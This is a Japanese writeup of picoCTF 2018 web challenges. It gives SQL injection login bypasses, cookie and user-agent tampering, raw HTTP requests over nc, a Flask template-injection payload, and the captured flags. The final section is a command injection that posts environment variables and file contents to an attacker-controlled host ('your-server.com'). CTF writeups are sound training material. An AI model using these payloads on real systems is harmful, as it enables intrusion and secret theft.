■
picoCTF 2018 writeup (Web問題)
Logon - Points: 150
cookie の admin: False を admin: True に変えてページ更新
Irish Name Repo - Points: 200
username: admin
password: ' OR 1=1 --
No Login - Points: 200
cookie に admin: true を追加した状態でアクセス
picoCTF{n0l0g0n_n0_pr0bl3m_26b0181a}
Secret Agent - Points: 200
user agent を Googlebot
にする。
Chrome の場合は Developer tool > 右上の「︙」 > More tools > Network conditions から設定できる
picoCTF{s3cr3t_ag3nt_m4n_134ecd62}
Buttons - Points: 250
button1 は POST 、 button2 は GET のリクエストを送るようになっている。 button2.php に POST して見るだけでいけた。
curl -X POST http://2018shell1.picoctf.com:65107/button2.php
picoCTF{button_button_whose_got_the_button_91f6f39a}
The Vault - Points: 250
php のソースが提供されている。
クエリにマッチするレコードがあれば認証成功となる。
ただし、POST された値に OR
が含まれるとインジェクションとみなされてはじかれるようになっている。
OR
を使わないインジェクションをすればいい。
username: ' UNION SELECT 1 FROM users --
password: ``
picoCTF{w3lc0m3_t0_th3_vau1t_c09f30a0}
Artisinal Handcrafted HTTP 3 - Points: 300
ブラウザが発行する HTTP リクエストを生で真似て投げる問題。
nc 2018shell1.picoctf.com 33281
で接続できるプロキシサーバが与えられる。
プロキシサーバを通してフラグを持つサーバ flag.local にアクセスする。
プロキシを通じてリクエストを投げるには nc 2018shell1.picoctf.com 33281
した状態で生の HTTP リクエストを発行する必要がある。
生の HTTP リクエストは、 post man を使って組み立てることもできる。
GET / HTTP/1.1 Host: flag.local
<html> <head> <link rel="stylesheet" type="text/css" href="main.css" /> </head> <body> <header> <h1>Real Business Internal Flag Server</h1> <a href="/login">Login</a> </header> <main> <p>You need to log in before you can see today's flag.</p> </main> </body> </html>
GET /login HTTP/1.1 Host: flag.local
<html> <head> <link rel="stylesheet" type="text/css" href="main.css" /> </head> <body> <header> <h1>Real Business Internal Flag Server</h1> <a href="/login">Login</a> </header> <main> <h2>Log In</h2> <form method="POST" action="login"> <input type="text" name="user" placeholder="Username" /> <input type="password" name="pass" placeholder="Password" /> <input type="submit" /> </form> </main> </body> </html>
POST /login HTTP/1.1 Host: flag.local Content-Type: application/x-www-form-urlencoded Content-Length: 38 user=realbusinessuser&pass=potoooooooo
user=realbusinessuser&pass=potoooooooo HTTP/1.1 302 Found x-powered-by: Express set-cookie: real_business_token=PHNjcmlwdD5hbGVydCgid2F0Iik8L3NjcmlwdD4%3D; Path=/ location: / vary: Accept content-type: text/plain; charset=utf-8 content-length: 23 date: Thu, 11 Oct 2018 15:59:02 GMT connection: close Found. Redirecting to /
GET / HTTP/1.1 Host: flag.local Cookie: real_business_token=PHNjcmlwdD5hbGVydCgid2F0Iik8L3NjcmlwdD4%3D;
<html> <head> <link rel="stylesheet" type="text/css" href="main.css" /> </head> <body> <header> <h1>Real Business Internal Flag Server</h1> <div class="user">Real Business Employee</div> <a href="/logout">Logout</a> </header> <main> <p>Hello <b>Real Business Employee</b>! Today's flag is: <code>picoCTF{0nLY_Us3_n0N_GmO_xF3r_pR0tOcol5_251f}</code>.</p> </main> </body> </html>
Flaskcards - Points: 350
サーバサイドテンプレートインジェクションを使う。
以下を Question もしくは Answer フォームに入力すると、 flask の設定が出力される。
{{config.items()}}
fancy-alive-monitoring - Points: 400
問題概要
Monitoring tool と称した web ページが与えられる。 IP アドレスをフォームから submit すると、その IP に ping を打ってくれるというもの。 ソースコード index.php が与えられるので、中身を読むことができる。
TL;DR
- コマンドインジェクション
解法
サーバ/クライエントサイド それぞれにて正規表現を使って validation チェックをしている。
クライエントサイドのチェックは、 console から check() 関数を上書きすれば回避できる。
サーバサイドのチェックには穴があって、最後に $
が抜けているので、submit した文字列が IP アドレスから始まってさえいればチェックを通過してしまう。
例えば 127.0.0.1 && curl -X POST -F "hoge=`env`" http://your-server.com
などとすると、サーバ側で実行されるコマンドは ping -c 1 127.0.0.1 && curl -X POST -F "hoge=`env`" http://your-server.com
となり、サーバの環境変数の値を自サーバに POST することができる。
上記コマンドインジェクションを使って、以下の手順で攻撃を行っていく。
127.0.0.1 && curl -X POST -F "hoge=`ls`" http://your-server.com
でどんなファイルがあるか確認。super-secret-1765-flag.txt
というファイルがあることがわかる。127.0.0.1 && curl -X POST -F "hoge=`cat super-secret-1765-flag.txt`" http://your-server.com
でフラグが取得できる。